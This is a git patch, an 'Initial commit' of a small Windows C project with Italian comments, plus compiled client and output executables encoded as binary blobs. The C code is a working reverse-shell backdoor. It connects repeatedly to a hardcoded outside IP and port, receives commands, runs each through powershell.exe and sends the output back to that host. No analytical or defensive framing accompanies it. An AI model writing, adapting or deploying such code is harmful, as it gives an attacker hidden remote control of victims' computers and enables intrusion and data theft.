From 0682fed09892c7fe2c638f6ca2a19942dbe6e28e Mon Sep 17 00:00:00 2001 From: fixi Date: Tue, 23 Sep 2025 21:57:00 +0200 Subject: [PATCH] Initial commit --- .vscode/settings.json | 5 ++ include/commandhandler.h | 78 ++++++++++++++++++++++++++++++ include/networking.h | 101 +++++++++++++++++++++++++++++++++++++++ main.c | 40 ++++++++++++++++ output/client.exe | Bin 0 -> 42868 bytes output/out.exe | Bin 0 -> 46519 bytes server.py | 95 ++++++++++++++++++++++++++++++++++++ 7 files changed, 319 insertions(+) create mode 100644 .vscode/settings.json create mode 100644 include/commandhandler.h create mode 100644 include/networking.h create mode 100644 main.c create mode 100644 output/client.exe create mode 100644 output/out.exe create mode 100644 server.py diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..ff13cf8 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,5 @@ +{ + "files.associations": { + "networking.h": "c" + } +} \ No newline at end of file diff --git a/include/commandhandler.h b/include/commandhandler.h new file mode 100644 index 0000000..dee5f2c --- /dev/null +++ b/include/commandhandler.h @@ -0,0 +1,78 @@ +#ifndef COMMAND_H +#define COMMAND_H + +FILE *fp; + +// Esegui un comando powershell +void run_powershell_command(uint8_t cmd[], WSADATA* wsa, SOCKET* s) { + if (!isSocketConnected(*s)) { + printf("Socket non connesso, impossibile eseguire comando\n"); + return; + } + + printf("Esecuzione comando PowerShell: %s\n", cmd); + + char sendbuffer[4096]; + char command[4096] = "powershell.exe -Command "; + + strncat(command, (char*)cmd, sizeof(command) - strlen(command) - 1); + + fp = _popen(command, "r"); + if (fp == NULL) { + char* error_msg = "Errore nell'avvio di PowerShell"; + sendCommand(wsa, s, error_msg); + return; + } + + while (fgets(sendbuffer, sizeof(sendbuffer), fp) != NULL) { + // Controlla se il socket è ancora connesso prima di inviare + if (!isSocketConnected(*s)) { + printf("Client disconnected during command execution\n"); + break; + } + sendCommand(wsa, s, sendbuffer); + } + + _pclose(fp); + + // Invia messaggio di completamento + if (isSocketConnected(*s)) { + sendCommand(wsa, s, "[COMMAND_COMPLETED]"); + } +} + +void handleCommand(WSADATA* wsa, SOCKET* s, uint8_t cmd[]) { + // Controlla sempre se il socket è ancora connesso + if (!isSocketConnected(*s)) { + printf("Socket disconnesso, impossibile gestire comando\n"); + closesocket(*s); + WSACleanup(); + InitSocket(wsa, s); + return; + } + + switch (cmd[0]) { + case 10: // PowerShell + printf("Comando PowerShell ricevuto\n"); + + if (!isSocketConnected(*s)) { + printf("Client disconnected before command reception\n"); + return; + } + + uint8_t command_buffer[4096] = {0}; + receiveCommand(wsa, s, command_buffer); + + // Verifica se la ricezione è riuscita e il socket è ancora valido + if (isSocketConnected(*s) && strlen((char*)command_buffer) > 0) { + run_powershell_command(command_buffer, wsa, s); + } + break; + + default: + printf("Comando sconosciuto: %d\n", cmd[0]); + break; + } +} + +#endif \ No newline at end of file diff --git a/include/networking.h b/include/networking.h new file mode 100644 index 0000000..71f1e2f --- /dev/null +++ b/include/networking.h @@ -0,0 +1,101 @@ +#ifndef NETWORKING_H +#define NETWORKING_H + +#define IP "37.60.240.95" +#define PORT 6134 + +// Robe/costanti/struct ecc +struct sockaddr_in server; + +// Fuznione che inizializza il socket e la connessione +void InitSocket(WSADATA* wsa, SOCKET* s){ + + // Ciclo inizializzazzione librerie di rete + WSAStartup(MAKEWORD(2,2),wsa); + + + (*s) = socket(AF_INET, SOCK_STREAM, 0); + + // Ciclo di connessione al server + while(1){ + + // Setup prima della connessione + server.sin_addr.s_addr = inet_addr(IP); + server.sin_family = AF_INET; + server.sin_port = htons(PORT); + + + // Connessione + if(connect(*s, (struct sockaddr *)&server, sizeof(server)) != -1){ + break; + } + + + Sleep(500); + } + +} + +int isSocketConnected(SOCKET s) { + if (s == INVALID_SOCKET) return 0; + + fd_set readfds; + FD_ZERO(&readfds); + FD_SET(s, &readfds); + + return (select(0, &readfds, NULL, NULL, 0) != SOCKET_ERROR); +} + +void receiveCommand(WSADATA* wsa, SOCKET* s, uint8_t* receivebuffer) { + if (!isSocketConnected(*s)) { + printf("Socket non connesso, riconnessione necessaria\n"); + closesocket(*s); + WSACleanup(); + InitSocket(wsa, s); + return; + } + + memset(receivebuffer, 0, 4096); + + int bytes_received = recv(*s, receivebuffer, 4095, 0); + + if (bytes_received == SOCKET_ERROR) { + int error = WSAGetLastError(); + printf("Errore ricezione: %d - Riconnessione...\n", error); + closesocket(*s); + WSACleanup(); + InitSocket(wsa, s); + } else if (bytes_received == 0) { + printf("Client disconnected normally\n"); + closesocket(*s); + WSACleanup(); + InitSocket(wsa, s); + } else { + receivebuffer[bytes_received] = '\0'; + } +} + +void sendCommand(WSADATA* wsa, SOCKET* s, char* sendbuffer) { + if (!isSocketConnected(*s)) { + printf("Socket non connesso, impossibile inviare\n"); + closesocket(*s); + WSACleanup(); + InitSocket(wsa, s); + return; + } + + int length = strlen(sendbuffer); + int bytes_sent = send(*s, sendbuffer, length, 0); + + if (bytes_sent == SOCKET_ERROR) { + int error = WSAGetLastError(); + printf("Errore invio: %d - Riconnessione...\n", error); + closesocket(*s); + WSACleanup(); + InitSocket(wsa, s); + } +} + + + +#endif \ No newline at end of file diff --git a/main.c b/main.c new file mode 100644 index 0000000..54d4d4b --- /dev/null +++ b/main.c @@ -0,0 +1,40 @@ +#include +#include +#include + +#include "winsock2.h" + + +#include "windows.h" +#include "include/networking.h" +#include "include/commandhandler.h" + +int main(int argc, char* argv[]){ + SOCKET s; + WSADATA wsa; + + uint8_t receivebuffer[4096]; + uint8_t sendbuffer[4096]; + + printf("Starting... \n"); + printf("Initializing socket... \n"); + InitSocket(&wsa, &s); + printf("Socket initialized \n"); + + + + // Ciclo principale + while(1){ + receiveCommand(&wsa, &s, receivebuffer); + if(receivebuffer[0] != 0){ + printf("%s\n", receivebuffer); + + // Parsing comando + handleCommand(&wsa, &s, receivebuffer); + } + Sleep(200); + + } + + return 0; +} diff --git a/output/client.exe b/output/client.exe new file mode 100644 index 0000000000000000000000000000000000000000..b8c583ce85343b08ecdc23f9ab9a341c9e0c5e47 GIT binary patch literal 42868 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 